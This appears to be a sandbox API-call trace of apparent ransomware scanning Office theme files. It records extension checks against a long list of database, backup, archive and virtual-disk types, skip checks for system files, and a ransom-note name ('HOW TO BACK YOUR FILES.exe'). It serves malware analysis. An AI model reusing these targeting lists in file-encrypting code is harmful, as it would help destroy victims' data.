	[0073.557] lstrcmpiW (lpString1="eftx", lpString2="avhd") returned 1
	[0073.557] lstrlenW (lpString="db") returned 2
	[0073.557] lstrcmpiW (lpString1="tx", lpString2="db") returned 1
	[0073.557] lstrlenW (lpString="db2") returned 3
	[0073.557] lstrcmpiW (lpString1="ftx", lpString2="db2") returned 1
	[0073.557] lstrlenW (lpString="db3") returned 3
	[0073.557] lstrcmpiW (lpString1="ftx", lpString2="db3") returned 1
	[0073.557] lstrlenW (lpString="dbf") returned 3
	[0073.557] lstrcmpiW (lpString1="ftx", lpString2="dbf") returned 1
	[0073.557] lstrlenW (lpString="mdf") returned 3
	[0073.557] lstrcmpiW (lpString1="ftx", lpString2="mdf") returned -1
	[0073.557] lstrlenW (lpString="mdb") returned 3
	[0073.557] lstrcmpiW (lpString1="ftx", lpString2="mdb") returned -1
	[0073.557] lstrlenW (lpString="sql") returned 3
	[0073.557] lstrcmpiW (lpString1="ftx", lpString2="sql") returned -1
	[0073.557] lstrlenW (lpString="sqlite") returned 6
	[0073.558] lstrcmpiW (lpString1="y.eftx", lpString2="sqlite") returned 1
	[0073.558] lstrlenW (lpString="sqlite3") returned 7
	[0073.558] lstrcmpiW (lpString1="cy.eftx", lpString2="sqlite3") returned -1
	[0073.558] lstrlenW (lpString="sqlitedb") returned 8
	[0073.558] lstrcmpiW (lpString1="ncy.eftx", lpString2="sqlitedb") returned -1
	[0073.558] lstrlenW (lpString="xml") returned 3
	[0073.558] lstrcmpiW (lpString1="ftx", lpString2="xml") returned -1
	[0073.558] lstrlenW (lpString="$er") returned 3
	[0073.558] lstrcmpiW (lpString1="ftx", lpString2="$er") returned 1
	[0073.558] lstrlenW (lpString="4dd") returned 3
	[0073.558] lstrcmpiW (lpString1="ftx", lpString2="4dd") returned 1
	[0073.558] lstrlenW (lpString="4dl") returned 3
	[0073.558] lstrcmpiW (lpString1="ftx", lpString2="4dl") returned 1
	[0073.558] lstrlenW (lpString="^^^") returned 3
	[0073.558] lstrcmpiW (lpString1="ftx", lpString2="^^^") returned 1
	[0073.558] lstrlenW (lpString="abs") returned 3
	[0073.558] lstrcmpiW (lpString1="ftx", lpString2="abs") returned 1
	[0073.558] lstrlenW (lpString="abx") returned 3
	[0073.558] lstrcmpiW (lpString1="ftx", lpString2="abx") returned 1
	[0073.558] lstrlenW (lpString="accdb") returned 5
	[0073.558] lstrcmpiW (lpString1=".eftx", lpString2="accdb") returned -1
	[0073.558] lstrlenW (lpString="accdc") returned 5
	[0073.558] lstrcmpiW (lpString1=".eftx", lpString2="accdc") returned -1
	[0073.558] lstrlenW (lpString="accde") returned 5
	[0073.558] lstrcmpiW (lpString1=".eftx", lpString2="accde") returned -1
	[0073.558] lstrlenW (lpString="accdr") returned 5
	[0073.558] lstrcmpiW (lpString1=".eftx", lpString2="accdr") returned -1
	[0073.558] lstrlenW (lpString="accdt") returned 5
	[0073.558] lstrcmpiW (lpString1=".eftx", lpString2="accdt") returned -1
	[0073.558] lstrlenW (lpString="accdw") returned 5
	[0073.558] lstrcmpiW (lpString1=".eftx", lpString2="accdw") returned -1
	[0073.558] lstrlenW (lpString="accft") returned 5
	[0073.558] lstrcmpiW (lpString1=".eftx", lpString2="accft") returned -1
	[0073.558] lstrlenW (lpString="adb") returned 3
	[0073.558] lstrcmpiW (lpString1="ftx", lpString2="adb") returned 1
	[0073.558] lstrlenW (lpString="adb") returned 3
	[0073.558] lstrcmpiW (lpString1="ftx", lpString2="adb") returned 1
	[0073.558] lstrlenW (lpString="ade") returned 3
	[0073.559] lstrcmpiW (lpString1="ftx", lpString2="ade") returned 1
	[0073.559] lstrlenW (lpString="adf") returned 3
	[0073.559] lstrcmpiW (lpString1="ftx", lpString2="adf") returned 1
	[0073.559] lstrlenW (lpString="adn") returned 3
	[0073.559] lstrcmpiW (lpString1="ftx", lpString2="adn") returned 1
	[0073.559] lstrlenW (lpString="adp") returned 3
	[0073.559] lstrcmpiW (lpString1="ftx", lpString2="adp") returned 1
	[0073.559] lstrlenW (lpString="alf") returned 3
	[0073.559] lstrcmpiW (lpString1="ftx", lpString2="alf") returned 1
	[0073.559] lstrlenW (lpString="ask") returned 3
	[0073.559] lstrcmpiW (lpString1="ftx", lpString2="ask") returned 1
	[0073.559] lstrlenW (lpString="btr") returned 3
	[0073.559] lstrcmpiW (lpString1="ftx", lpString2="btr") returned 1
	[0073.559] lstrlenW (lpString="cat") returned 3
	[0073.559] lstrcmpiW (lpString1="ftx", lpString2="cat") returned 1
	[0073.559] lstrlenW (lpString="cdb") returned 3
	[0073.559] lstrcmpiW (lpString1="ftx", lpString2="cdb") returned 1
	[0073.559] lstrlenW (lpString="ckp") returned 3
	[0073.559] lstrcmpiW (lpString1="ftx", lpString2="ckp") returned 1
	[0073.559] lstrlenW (lpString="cma") returned 3
	[0073.559] lstrcmpiW (lpString1="ftx", lpString2="cma") returned 1
	[0073.559] lstrlenW (lpString="cpd") returned 3
	[0073.559] lstrcmpiW (lpString1="ftx", lpString2="cpd") returned 1
	[0073.559] lstrlenW (lpString="dacpac") returned 6
	[0073.559] lstrcmpiW (lpString1="y.eftx", lpString2="dacpac") returned 1
	[0073.559] lstrlenW (lpString="dad") returned 3
	[0073.559] lstrcmpiW (lpString1="ftx", lpString2="dad") returned 1
	[0073.559] lstrlenW (lpString="dadiagrams") returned 10
	[0073.559] lstrcmpiW (lpString1="cency.eftx", lpString2="dadiagrams") returned -1
	[0073.559] lstrlenW (lpString="daschema") returned 8
	[0073.559] lstrcmpiW (lpString1="ncy.eftx", lpString2="daschema") returned 1
	[0073.559] lstrlenW (lpString="db-journal") returned 10
	[0073.559] lstrcmpiW (lpString1="cency.eftx", lpString2="db-journal") returned -1
	[0073.559] lstrlenW (lpString="db-shm") returned 6
	[0073.559] lstrcmpiW (lpString1="y.eftx", lpString2="db-shm") returned 1
	[0073.559] lstrlenW (lpString="db-wal") returned 6
	[0073.559] lstrcmpiW (lpString1="y.eftx", lpString2="db-wal") returned 1
	[0073.559] lstrlenW (lpString="dbc") returned 3
	[0073.560] lstrcmpiW (lpString1="ftx", lpString2="dbc") returned 1
	[0073.560] lstrlenW (lpString="dbs") returned 3
	[0073.560] lstrcmpiW (lpString1="ftx", lpString2="dbs") returned 1
	[0073.560] lstrlenW (lpString="dbt") returned 3
	[0073.560] lstrcmpiW (lpString1="ftx", lpString2="dbt") returned 1
	[0073.560] lstrlenW (lpString="dbv") returned 3
	[0073.560] lstrcmpiW (lpString1="ftx", lpString2="dbv") returned 1
	[0073.560] lstrlenW (lpString="dbx") returned 3
	[0073.560] lstrcmpiW (lpString1="ftx", lpString2="dbx") returned 1
	[0073.560] lstrlenW (lpString="dcb") returned 3
	[0073.560] lstrcmpiW (lpString1="ftx", lpString2="dcb") returned 1
	[0073.560] lstrlenW (lpString="dct") returned 3
	[0073.560] lstrcmpiW (lpString1="ftx", lpString2="dct") returned 1
	[0073.560] lstrlenW (lpString="dcx") returned 3
	[0073.560] lstrcmpiW (lpString1="ftx", lpString2="dcx") returned 1
	[0073.560] lstrlenW (lpString="ddl") returned 3
	[0073.560] lstrcmpiW (lpString1="ftx", lpString2="ddl") returned 1
	[0073.560] lstrlenW (lpString="dlis") returned 4
	[0073.560] lstrcmpiW (lpString1="eftx", lpString2="dlis") returned 1
	[0073.560] lstrlenW (lpString="dp1") returned 3
	[0073.560] lstrcmpiW (lpString1="ftx", lpString2="dp1") returned 1
	[0073.560] lstrlenW (lpString="dqy") returned 3
	[0073.560] lstrcmpiW (lpString1="ftx", lpString2="dqy") returned 1
	[0073.560] lstrlenW (lpString="dsk") returned 3
	[0073.560] lstrcmpiW (lpString1="ftx", lpString2="dsk") returned 1
	[0073.560] lstrlenW (lpString="dsn") returned 3
	[0073.560] lstrcmpiW (lpString1="ftx", lpString2="dsn") returned 1
	[0073.560] lstrlenW (lpString="dtsx") returned 4
	[0073.560] lstrcmpiW (lpString1="eftx", lpString2="dtsx") returned 1
	[0073.560] lstrlenW (lpString="dxl") returned 3
	[0073.560] lstrcmpiW (lpString1="ftx", lpString2="dxl") returned 1
	[0073.560] lstrlenW (lpString="eco") returned 3
	[0073.560] lstrcmpiW (lpString1="ftx", lpString2="eco") returned 1
	[0073.560] lstrlenW (lpString="ecx") returned 3
	[0073.560] lstrcmpiW (lpString1="ftx", lpString2="ecx") returned 1
	[0073.560] lstrlenW (lpString="edb") returned 3
	[0073.560] lstrcmpiW (lpString1="ftx", lpString2="edb") returned 1
	[0073.560] lstrlenW (lpString="epim") returned 4
	[0073.561] lstrcmpiW (lpString1="eftx", lpString2="epim") returned -1
	[0073.561] lstrlenW (lpString="fcd") returned 3
	[0073.561] lstrcmpiW (lpString1="ftx", lpString2="fcd") returned 1
	[0073.561] lstrlenW (lpString="fdb") returned 3
	[0073.561] lstrcmpiW (lpString1="ftx", lpString2="fdb") returned 1
	[0073.561] lstrlenW (lpString="fic") returned 3
	[0073.561] lstrcmpiW (lpString1="ftx", lpString2="fic") returned 1
	[0073.561] lstrlenW (lpString="flexolibrary") returned 12
	[0073.561] lstrcmpiW (lpString1="jacency.eftx", lpString2="flexolibrary") returned 1
	[0073.561] lstrlenW (lpString="fm5") returned 3
	[0073.561] lstrcmpiW (lpString1="ftx", lpString2="fm5") returned 1
	[0073.561] lstrlenW (lpString="fmp") returned 3
	[0073.561] lstrcmpiW (lpString1="ftx", lpString2="fmp") returned 1
	[0073.561] lstrlenW (lpString="fmp12") returned 5
	[0073.561] lstrcmpiW (lpString1=".eftx", lpString2="fmp12") returned -1
	[0073.561] lstrlenW (lpString="fmpsl") returned 5
	[0073.561] lstrcmpiW (lpString1=".eftx", lpString2="fmpsl") returned -1
	[0073.561] lstrlenW (lpString="fol") returned 3
	[0073.561] lstrcmpiW (lpString1="ftx", lpString2="fol") returned 1
	[0073.561] lstrlenW (lpString="fp3") returned 3
	[0073.561] lstrcmpiW (lpString1="ftx", lpString2="fp3") returned 1
	[0073.561] lstrlenW (lpString="fp4") returned 3
	[0073.561] lstrcmpiW (lpString1="ftx", lpString2="fp4") returned 1
	[0073.561] lstrlenW (lpString="fp5") returned 3
	[0073.561] lstrcmpiW (lpString1="ftx", lpString2="fp5") returned 1
	[0073.561] lstrlenW (lpString="fp7") returned 3
	[0073.561] lstrcmpiW (lpString1="ftx", lpString2="fp7") returned 1
	[0073.561] lstrlenW (lpString="fpt") returned 3
	[0073.561] lstrcmpiW (lpString1="ftx", lpString2="fpt") returned 1
	[0073.561] lstrlenW (lpString="frm") returned 3
	[0073.561] lstrcmpiW (lpString1="ftx", lpString2="frm") returned 1
	[0073.561] lstrlenW (lpString="gdb") returned 3
	[0073.561] lstrcmpiW (lpString1="ftx", lpString2="gdb") returned -1
	[0073.561] lstrlenW (lpString="gdb") returned 3
	[0073.561] lstrcmpiW (lpString1="ftx", lpString2="gdb") returned -1
	[0073.561] lstrlenW (lpString="grdb") returned 4
	[0073.561] lstrcmpiW (lpString1="eftx", lpString2="grdb") returned -1
	[0073.561] lstrlenW (lpString="gwi") returned 3
	[0073.562] lstrcmpiW (lpString1="ftx", lpString2="gwi") returned -1
	[0073.562] lstrlenW (lpString="hdb") returned 3
	[0073.562] lstrcmpiW (lpString1="ftx", lpString2="hdb") returned -1
	[0073.562] lstrlenW (lpString="his") returned 3
	[0073.562] lstrcmpiW (lpString1="ftx", lpString2="his") returned -1
	[0073.562] lstrlenW (lpString="ib") returned 2
	[0073.562] lstrcmpiW (lpString1="tx", lpString2="ib") returned 1
	[0073.562] lstrlenW (lpString="idb") returned 3
	[0073.562] lstrcmpiW (lpString1="ftx", lpString2="idb") returned -1
	[0073.562] lstrlenW (lpString="ihx") returned 3
	[0073.562] lstrcmpiW (lpString1="ftx", lpString2="ihx") returned -1
	[0073.562] lstrlenW (lpString="itdb") returned 4
	[0073.562] lstrcmpiW (lpString1="eftx", lpString2="itdb") returned -1
	[0073.562] lstrlenW (lpString="itw") returned 3
	[0073.562] lstrcmpiW (lpString1="ftx", lpString2="itw") returned -1
	[0073.562] lstrlenW (lpString="jet") returned 3
	[0073.562] lstrcmpiW (lpString1="ftx", lpString2="jet") returned -1
	[0073.562] lstrlenW (lpString="jtx") returned 3
	[0073.562] lstrcmpiW (lpString1="ftx", lpString2="jtx") returned -1
	[0073.562] lstrlenW (lpString="kdb") returned 3
	[0073.562] lstrcmpiW (lpString1="ftx", lpString2="kdb") returned -1
	[0073.562] lstrlenW (lpString="kexi") returned 4
	[0073.562] lstrcmpiW (lpString1="eftx", lpString2="kexi") returned -1
	[0073.562] lstrlenW (lpString="kexic") returned 5
	[0073.562] lstrcmpiW (lpString1=".eftx", lpString2="kexic") returned -1
	[0073.562] lstrlenW (lpString="kexis") returned 5
	[0073.562] lstrcmpiW (lpString1=".eftx", lpString2="kexis") returned -1
	[0073.562] lstrlenW (lpString="lgc") returned 3
	[0073.562] lstrcmpiW (lpString1="ftx", lpString2="lgc") returned -1
	[0073.562] lstrlenW (lpString="lwx") returned 3
	[0073.562] lstrcmpiW (lpString1="ftx", lpString2="lwx") returned -1
	[0073.562] lstrlenW (lpString="maf") returned 3
	[0073.562] lstrcmpiW (lpString1="ftx", lpString2="maf") returned -1
	[0073.562] lstrlenW (lpString="maq") returned 3
	[0073.562] lstrcmpiW (lpString1="ftx", lpString2="maq") returned -1
	[0073.562] lstrlenW (lpString="mar") returned 3
	[0073.562] lstrcmpiW (lpString1="ftx", lpString2="mar") returned -1
	[0073.562] lstrlenW (lpString="marshal") returned 7
	[0073.563] lstrcmpiW (lpString1="cy.eftx", lpString2="marshal") returned -1
	[0073.563] lstrlenW (lpString="mas") returned 3
	[0073.563] lstrcmpiW (lpString1="ftx", lpString2="mas") returned -1
	[0073.563] lstrlenW (lpString="mav") returned 3
	[0073.563] lstrcmpiW (lpString1="ftx", lpString2="mav") returned -1
	[0073.563] lstrlenW (lpString="maw") returned 3
	[0073.563] lstrcmpiW (lpString1="ftx", lpString2="maw") returned -1
	[0073.563] lstrlenW (lpString="mdbhtml") returned 7
	[0073.563] lstrcmpiW (lpString1="cy.eftx", lpString2="mdbhtml") returned -1
	[0073.563] lstrlenW (lpString="mdn") returned 3
	[0073.563] lstrcmpiW (lpString1="ftx", lpString2="mdn") returned -1
	[0073.563] lstrlenW (lpString="mdt") returned 3
	[0073.563] lstrcmpiW (lpString1="ftx", lpString2="mdt") returned -1
	[0073.563] lstrlenW (lpString="mfd") returned 3
	[0073.563] lstrcmpiW (lpString1="ftx", lpString2="mfd") returned -1
	[0073.563] lstrlenW (lpString="mpd") returned 3
	[0073.563] lstrcmpiW (lpString1="ftx", lpString2="mpd") returned -1
	[0073.563] lstrlenW (lpString="mrg") returned 3
	[0073.563] lstrcmpiW (lpString1="ftx", lpString2="mrg") returned -1
	[0073.563] lstrlenW (lpString="mud") returned 3
	[0073.563] lstrcmpiW (lpString1="ftx", lpString2="mud") returned -1
	[0073.563] lstrlenW (lpString="mwb") returned 3
	[0073.563] lstrcmpiW (lpString1="ftx", lpString2="mwb") returned -1
	[0073.563] lstrlenW (lpString="myd") returned 3
	[0073.563] lstrcmpiW (lpString1="ftx", lpString2="myd") returned -1
	[0073.563] lstrlenW (lpString="ndf") returned 3
	[0073.563] lstrcmpiW (lpString1="ftx", lpString2="ndf") returned -1
	[0073.563] lstrlenW (lpString="nnt") returned 3
	[0073.563] lstrcmpiW (lpString1="ftx", lpString2="nnt") returned -1
	[0073.563] lstrlenW (lpString="nrmlib") returned 6
	[0073.563] lstrcmpiW (lpString1="y.eftx", lpString2="nrmlib") returned 1
	[0073.563] lstrlenW (lpString="ns2") returned 3
	[0073.563] lstrcmpiW (lpString1="ftx", lpString2="ns2") returned -1
	[0073.563] lstrlenW (lpString="ns3") returned 3
	[0073.563] lstrcmpiW (lpString1="ftx", lpString2="ns3") returned -1
	[0073.563] lstrlenW (lpString="ns4") returned 3
	[0073.563] lstrcmpiW (lpString1="ftx", lpString2="ns4") returned -1
	[0073.563] lstrlenW (lpString="nsf") returned 3
	[0073.564] lstrcmpiW (lpString1="ftx", lpString2="nsf") returned -1
	[0073.564] lstrlenW (lpString="nv") returned 2
	[0073.564] lstrcmpiW (lpString1="tx", lpString2="nv") returned 1
	[0073.564] lstrlenW (lpString="nv2") returned 3
	[0073.564] lstrcmpiW (lpString1="ftx", lpString2="nv2") returned -1
	[0073.564] lstrlenW (lpString="nwdb") returned 4
	[0073.564] lstrcmpiW (lpString1="eftx", lpString2="nwdb") returned -1
	[0073.564] lstrlenW (lpString="nyf") returned 3
	[0073.564] lstrcmpiW (lpString1="ftx", lpString2="nyf") returned -1
	[0073.564] lstrlenW (lpString="odb") returned 3
	[0073.564] lstrcmpiW (lpString1="ftx", lpString2="odb") returned -1
	[0073.564] lstrlenW (lpString="odb") returned 3
	[0073.564] lstrcmpiW (lpString1="ftx", lpString2="odb") returned -1
	[0073.564] lstrlenW (lpString="oqy") returned 3
	[0073.564] lstrcmpiW (lpString1="ftx", lpString2="oqy") returned -1
	[0073.564] lstrlenW (lpString="ora") returned 3
	[0073.564] lstrcmpiW (lpString1="ftx", lpString2="ora") returned -1
	[0073.564] lstrlenW (lpString="orx") returned 3
	[0073.564] lstrcmpiW (lpString1="ftx", lpString2="orx") returned -1
	[0073.564] lstrlenW (lpString="owc") returned 3
	[0073.564] lstrcmpiW (lpString1="ftx", lpString2="owc") returned -1
	[0073.564] lstrlenW (lpString="p96") returned 3
	[0073.564] lstrcmpiW (lpString1="ftx", lpString2="p96") returned -1
	[0073.564] lstrlenW (lpString="p97") returned 3
	[0073.564] lstrcmpiW (lpString1="ftx", lpString2="p97") returned -1
	[0073.564] lstrlenW (lpString="pan") returned 3
	[0073.564] lstrcmpiW (lpString1="ftx", lpString2="pan") returned -1
	[0073.564] lstrlenW (lpString="pdb") returned 3
	[0073.564] lstrcmpiW (lpString1="ftx", lpString2="pdb") returned -1
	[0073.564] lstrlenW (lpString="pdm") returned 3
	[0073.564] lstrcmpiW (lpString1="ftx", lpString2="pdm") returned -1
	[0073.564] lstrlenW (lpString="pnz") returned 3
	[0073.564] lstrcmpiW (lpString1="ftx", lpString2="pnz") returned -1
	[0073.564] lstrlenW (lpString="qry") returned 3
	[0073.564] lstrcmpiW (lpString1="ftx", lpString2="qry") returned -1
	[0073.564] lstrlenW (lpString="qvd") returned 3
	[0073.564] lstrcmpiW (lpString1="ftx", lpString2="qvd") returned -1
	[0073.564] lstrlenW (lpString="rbf") returned 3
	[0073.565] lstrcmpiW (lpString1="ftx", lpString2="rbf") returned -1
	[0073.565] lstrlenW (lpString="rctd") returned 4
	[0073.565] lstrcmpiW (lpString1="eftx", lpString2="rctd") returned -1
	[0073.565] lstrlenW (lpString="rod") returned 3
	[0073.565] lstrcmpiW (lpString1="ftx", lpString2="rod") returned -1
	[0073.565] lstrlenW (lpString="rodx") returned 4
	[0073.565] lstrcmpiW (lpString1="eftx", lpString2="rodx") returned -1
	[0073.565] lstrlenW (lpString="rpd") returned 3
	[0073.565] lstrcmpiW (lpString1="ftx", lpString2="rpd") returned -1
	[0073.565] lstrlenW (lpString="rsd") returned 3
	[0073.565] lstrcmpiW (lpString1="ftx", lpString2="rsd") returned -1
	[0073.565] lstrlenW (lpString="sas7bdat") returned 8
	[0073.565] lstrcmpiW (lpString1="ncy.eftx", lpString2="sas7bdat") returned -1
	[0073.565] lstrlenW (lpString="sbf") returned 3
	[0073.565] lstrcmpiW (lpString1="ftx", lpString2="sbf") returned -1
	[0073.565] lstrlenW (lpString="scx") returned 3
	[0073.565] lstrcmpiW (lpString1="ftx", lpString2="scx") returned -1
	[0073.565] lstrlenW (lpString="sdb") returned 3
	[0073.565] lstrcmpiW (lpString1="ftx", lpString2="sdb") returned -1
	[0073.565] lstrlenW (lpString="sdc") returned 3
	[0073.565] lstrcmpiW (lpString1="ftx", lpString2="sdc") returned -1
	[0073.565] lstrlenW (lpString="sdf") returned 3
	[0073.565] lstrcmpiW (lpString1="ftx", lpString2="sdf") returned -1
	[0073.565] lstrlenW (lpString="sis") returned 3
	[0073.565] lstrcmpiW (lpString1="ftx", lpString2="sis") returned -1
	[0073.565] lstrlenW (lpString="spq") returned 3
	[0073.565] lstrcmpiW (lpString1="ftx", lpString2="spq") returned -1
	[0073.565] lstrlenW (lpString="te") returned 2
	[0073.565] lstrcmpiW (lpString1="tx", lpString2="te") returned 1
	[0073.565] lstrlenW (lpString="teacher") returned 7
	[0073.565] lstrcmpiW (lpString1="cy.eftx", lpString2="teacher") returned -1
	[0073.565] lstrlenW (lpString="tmd") returned 3
	[0073.565] lstrcmpiW (lpString1="ftx", lpString2="tmd") returned -1
	[0073.565] lstrlenW (lpString="tps") returned 3
	[0073.565] lstrcmpiW (lpString1="ftx", lpString2="tps") returned -1
	[0073.565] lstrlenW (lpString="trc") returned 3
	[0073.565] lstrcmpiW (lpString1="ftx", lpString2="trc") returned -1
	[0073.565] lstrlenW (lpString="trc") returned 3
	[0073.566] lstrcmpiW (lpString1="ftx", lpString2="trc") returned -1
	[0073.566] lstrlenW (lpString="trm") returned 3
	[0073.566] lstrcmpiW (lpString1="ftx", lpString2="trm") returned -1
	[0073.566] lstrlenW (lpString="udb") returned 3
	[0073.566] lstrcmpiW (lpString1="ftx", lpString2="udb") returned -1
	[0073.566] lstrlenW (lpString="udl") returned 3
	[0073.566] lstrcmpiW (lpString1="ftx", lpString2="udl") returned -1
	[0073.566] lstrlenW (lpString="usr") returned 3
	[0073.566] lstrcmpiW (lpString1="ftx", lpString2="usr") returned -1
	[0073.566] lstrlenW (lpString="v12") returned 3
	[0073.566] lstrcmpiW (lpString1="ftx", lpString2="v12") returned -1
	[0073.566] lstrlenW (lpString="vis") returned 3
	[0073.566] lstrcmpiW (lpString1="ftx", lpString2="vis") returned -1
	[0073.566] lstrlenW (lpString="vpd") returned 3
	[0073.566] lstrcmpiW (lpString1="ftx", lpString2="vpd") returned -1
	[0073.566] lstrlenW (lpString="vvv") returned 3
	[0073.566] lstrcmpiW (lpString1="ftx", lpString2="vvv") returned -1
	[0073.566] lstrlenW (lpString="wdb") returned 3
	[0073.566] lstrcmpiW (lpString1="ftx", lpString2="wdb") returned -1
	[0073.566] lstrlenW (lpString="wmdb") returned 4
	[0073.566] lstrcmpiW (lpString1="eftx", lpString2="wmdb") returned -1
	[0073.566] lstrlenW (lpString="wrk") returned 3
	[0073.566] lstrcmpiW (lpString1="ftx", lpString2="wrk") returned -1
	[0073.566] lstrlenW (lpString="xdb") returned 3
	[0073.566] lstrcmpiW (lpString1="ftx", lpString2="xdb") returned -1
	[0073.566] lstrlenW (lpString="xld") returned 3
	[0073.566] lstrcmpiW (lpString1="ftx", lpString2="xld") returned -1
	[0073.566] lstrlenW (lpString="xmlff") returned 5
	[0073.566] lstrcmpiW (lpString1=".eftx", lpString2="xmlff") returned -1
	[0073.566] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655c2c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x655c2c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6ae5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Angles.eftx", cAlternateFileName="ANGLES~1.EFT")) returned 1
	[0073.566] lstrcmpiW (lpString1="Angles.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.566] lstrcmpiW (lpString1="Angles.eftx", lpString2="Apollon865.txt.exe") returned -1
	[0073.566] lstrcmpiW (lpString1="Angles.eftx", lpString2=".") returned 1
	[0073.566] lstrcmpiW (lpString1="Angles.eftx", lpString2="..") returned 1
	[0073.566] lstrcmpiW (lpString1="Angles.eftx", lpString2="windows") returned -1
	[0073.566] lstrcmpiW (lpString1="Angles.eftx", lpString2="bootmgr") returned -1
	[0073.566] lstrcmpiW (lpString1="Angles.eftx", lpString2="temp") returned -1
	[0073.567] lstrcmpiW (lpString1="Angles.eftx", lpString2="pagefile.sys") returned -1
	[0073.567] lstrcmpiW (lpString1="Angles.eftx", lpString2="boot") returned -1
	[0073.567] lstrcmpiW (lpString1="Angles.eftx", lpString2="ids.txt") returned -1
	[0073.567] lstrcmpiW (lpString1="Angles.eftx", lpString2="ntuser.dat") returned -1
	[0073.567] lstrcmpiW (lpString1="Angles.eftx", lpString2="perflogs") returned -1
	[0073.567] lstrcmpiW (lpString1="Angles.eftx", lpString2="MSBuild") returned -1
	[0073.567] lstrlenW (lpString="Angles.eftx") returned 11
	[0073.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81
	[0073.567] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Angles.eftx" | out: lpString1="Angles.eftx") returned="Angles.eftx"
	[0073.567] lstrlenW (lpString="Angles.eftx") returned 11
	[0073.567] lstrlenW (lpString="Apollon865") returned 10
	[0073.567] lstrcmpiW (lpString1="ngles.eftx", lpString2="Apollon865") returned 1
	[0073.567] lstrlenW (lpString=".dll") returned 4
	[0073.567] lstrcmpiW (lpString1="Angles.eftx", lpString2=".dll") returned 1
	[0073.567] lstrlenW (lpString=".lnk") returned 4
	[0073.567] lstrcmpiW (lpString1="Angles.eftx", lpString2=".lnk") returned 1
	[0073.567] lstrlenW (lpString=".ini") returned 4
	[0073.567] lstrcmpiW (lpString1="Angles.eftx", lpString2=".ini") returned 1
	[0073.567] lstrlenW (lpString=".sys") returned 4
	[0073.567] lstrcmpiW (lpString1="Angles.eftx", lpString2=".sys") returned 1
	[0073.567] lstrlenW (lpString="Angles.eftx") returned 11
	[0073.567] lstrlenW (lpString="bak") returned 3
	[0073.567] lstrcmpiW (lpString1="ftx", lpString2="bak") returned 1
	[0073.567] lstrlenW (lpString="ba_") returned 3
	[0073.567] lstrcmpiW (lpString1="ftx", lpString2="ba_") returned 1
	[0073.567] lstrlenW (lpString="dbb") returned 3
	[0073.567] lstrcmpiW (lpString1="ftx", lpString2="dbb") returned 1
	[0073.567] lstrlenW (lpString="vmdk") returned 4
	[0073.567] lstrcmpiW (lpString1="eftx", lpString2="vmdk") returned -1
	[0073.567] lstrlenW (lpString="rar") returned 3
	[0073.567] lstrcmpiW (lpString1="ftx", lpString2="rar") returned -1
	[0073.567] lstrlenW (lpString="zip") returned 3
	[0073.567] lstrcmpiW (lpString1="ftx", lpString2="zip") returned -1
	[0073.567] lstrlenW (lpString="tgz") returned 3
	[0073.567] lstrcmpiW (lpString1="ftx", lpString2="tgz") returned -1
	[0073.567] lstrlenW (lpString="vbox") returned 4
	[0073.567] lstrcmpiW (lpString1="eftx", lpString2="vbox") returned -1
	[0073.568] lstrlenW (lpString="vdi") returned 3
	[0073.568] lstrcmpiW (lpString1="ftx", lpString2="vdi") returned -1
	[0073.568] lstrlenW (lpString="vhd") returned 3
	[0073.568] lstrcmpiW (lpString1="ftx", lpString2="vhd") returned -1
	[0073.568] lstrlenW (lpString="vhdx") returned 4
	[0073.568] lstrcmpiW (lpString1="eftx", lpString2="vhdx") returned -1
	[0073.568] lstrlenW (lpString="avhd") returned 4
	[0073.568] lstrcmpiW (lpString1="eftx", lpString2="avhd") returned 1
	[0073.568] lstrlenW (lpString="db") returned 2
	[0073.568] lstrcmpiW (lpString1="tx", lpString2="db") returned 1
	[0073.568] lstrlenW (lpString="db2") returned 3
	[0073.568] lstrcmpiW (lpString1="ftx", lpString2="db2") returned 1
	[0073.568] lstrlenW (lpString="db3") returned 3
	[0073.568] lstrcmpiW (lpString1="ftx", lpString2="db3") returned 1
	[0073.568] lstrlenW (lpString="dbf") returned 3
	[0073.568] lstrcmpiW (lpString1="ftx", lpString2="dbf") returned 1
	[0073.568] lstrlenW (lpString="mdf") returned 3
	[0073.568] lstrcmpiW (lpString1="ftx", lpString2="mdf") returned -1
	[0073.568] lstrlenW (lpString="mdb") returned 3
	[0073.568] lstrcmpiW (lpString1="ftx", lpString2="mdb") returned -1
	[0073.568] lstrlenW (lpString="sql") returned 3
	[0073.568] lstrcmpiW (lpString1="ftx", lpString2="sql") returned -1
	[0073.568] lstrlenW (lpString="sqlite") returned 6
	[0073.568] lstrcmpiW (lpString1="s.eftx", lpString2="sqlite") returned -1
	[0073.568] lstrlenW (lpString="sqlite3") returned 7
	[0073.568] lstrcmpiW (lpString1="es.eftx", lpString2="sqlite3") returned -1
	[0073.568] lstrlenW (lpString="sqlitedb") returned 8
	[0073.568] lstrcmpiW (lpString1="les.eftx", lpString2="sqlitedb") returned -1
	[0073.568] lstrlenW (lpString="xml") returned 3
	[0073.568] lstrcmpiW (lpString1="ftx", lpString2="xml") returned -1
	[0073.568] lstrlenW (lpString="$er") returned 3
	[0073.568] lstrcmpiW (lpString1="ftx", lpString2="$er") returned 1
	[0073.568] lstrlenW (lpString="4dd") returned 3
	[0073.568] lstrcmpiW (lpString1="ftx", lpString2="4dd") returned 1
	[0073.568] lstrlenW (lpString="4dl") returned 3
	[0073.568] lstrcmpiW (lpString1="ftx", lpString2="4dl") returned 1
	[0073.568] lstrlenW (lpString="^^^") returned 3
	[0073.568] lstrcmpiW (lpString1="ftx", lpString2="^^^") returned 1
	[0073.569] lstrlenW (lpString="abs") returned 3
	[0073.569] lstrcmpiW (lpString1="ftx", lpString2="abs") returned 1
	[0073.569] lstrlenW (lpString="abx") returned 3
	[0073.569] lstrcmpiW (lpString1="ftx", lpString2="abx") returned 1
	[0073.569] lstrlenW (lpString="accdb") returned 5
	[0073.569] lstrcmpiW (lpString1=".eftx", lpString2="accdb") returned -1
